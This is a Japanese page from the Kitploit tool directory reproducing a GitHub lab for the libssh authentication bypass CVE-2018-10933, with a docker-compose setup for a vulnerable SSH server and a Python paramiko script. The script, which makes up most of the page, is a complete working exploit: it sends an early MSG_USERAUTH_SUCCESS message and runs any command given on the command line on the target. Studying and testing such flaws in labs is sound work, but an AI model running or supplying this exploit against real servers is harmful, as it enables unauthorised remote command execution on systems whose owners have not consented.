Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Libssh-server-CVE-2018-10933 | Kitploit
ツール/GitHubGitHub/cyberharsh/libssh-server-cve-2018-10933
脆弱性分析エクスプロイトネットワークセキュリティペネトレーションテスト認証バイナリエクスプロイト
GitHubcyberharsh/libssh-server-cve-2018-10933

Libssh-server-CVE-2018-10933

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
6年前未レビュー

libssh 認証バイパスの脆弱性(CVE-2018-10933)

中国語版

libssh は、クライアント側とサーバー側で SSHv2 プロトコルを実装するマルチプラットフォームの C ライブラリです。libssh のサーバー側ステートマシンに論理的な脆弱性が見つかりました。攻撃者は認証が成功する前に MSG_USERAUTH_SUCCESS メッセージを送信できます。これにより認証をバイパスし、対象の SSH サーバーにアクセスできます。

参照:

  • https://www.libssh.org/security/advisories/CVE-2018-10933.txt
  • https://www.seebug.org/vuldb/ssvid-97614

セットアップ

環境を起動します:

root@kitploit:~
docker-compose up -d

環境の起動後、your-ip:2222 ポートに接続できます(アカウント/パスワード: myuser:mypassword)。これは正規の SSH ログインです:

エクスプロイト

https://www.seebug.org/vuldb/ssvid-97614 で提供されている POC を参照し、以下のスクリプトで脆弱性を実証できます。

root@kitploit:~
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048


def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

次のように、対象サーバー上で任意のコマンドを実行できます:

ツールをダウンロード